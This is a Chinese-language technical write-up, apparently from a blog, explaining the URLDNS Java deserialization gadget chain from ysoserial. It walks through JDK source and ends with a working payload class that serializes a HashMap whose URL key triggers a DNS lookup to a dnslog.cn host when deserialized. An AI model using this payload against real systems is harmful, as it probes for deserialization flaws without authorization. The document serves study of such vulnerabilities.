URLDNS是ysoserial中一个利用链的名字,但其触发的结果只能进行进行一次DNS请求

直接跟进HashMapreadObject方法

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                            loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                            mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                    DEFAULT_INITIAL_CAPACITY :
                    (fc >= MAXIMUM_CAPACITY) ?
                    MAXIMUM_CAPACITY :
                    tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                        (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

可以看到在最后putVal的时候,对HashMap的键名计算了hash

putVal(hash(key), key, value, false, false);

跟进hash函数

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

hash方法调⽤用了了key的hashCode() 方法:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

如果key是java.net.URL对象,那么就会进入

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

如果hashCode值是-1(默认为-1),就会进入handlerhashCode方法,handlerURLStreamHandler对象(的某个子类对象),继续跟进hashCode方法:

    protected int hashCode(URL u) {
    ...

     InetAddress addr = getHostAddress(u);

    ...
}

调用了getHostAddress方法,继续跟进:

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这里InetAddress.getByName(host) 的作用是根据主机名,获取其IP地址,在网络上其实就是一次DNS查询。

整个URLDNS利用链的Gadget:

1.HashMap->readObject()

2.HashMap->Hash()

3.URL->hashCode()

4.URLStreamHandler->hashCode()

5.URLStreamHandler->getHostAddress()

6.InetAddress->getByName

payload:

public class URLDNS{
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        URL url = new URL("http://dhx2l4.dnslog.cn");
        Class c = URL.class;
        Field hashcodeField = c.getDeclaredField("hashCode");
        hashcodeField.setAccessible(true);
        hashcodeField.set(url,114514);
        hashmap.put(url,1);
        hashcodeField.set(url,-1);
        serialize(hashmap);
    }

需要在put前利用反射让URL类的hashCode不为-1

否则put时会直接发送一个DNS请求,并改变对象的hashCode值,反序列化时因为hashCode不为-1,就不会发送DNS请求

在执行完put后重新将hashCode值赋为-1

此时反序列化hashmap时将会发送一个DNS请求

1.png

Q.E.D.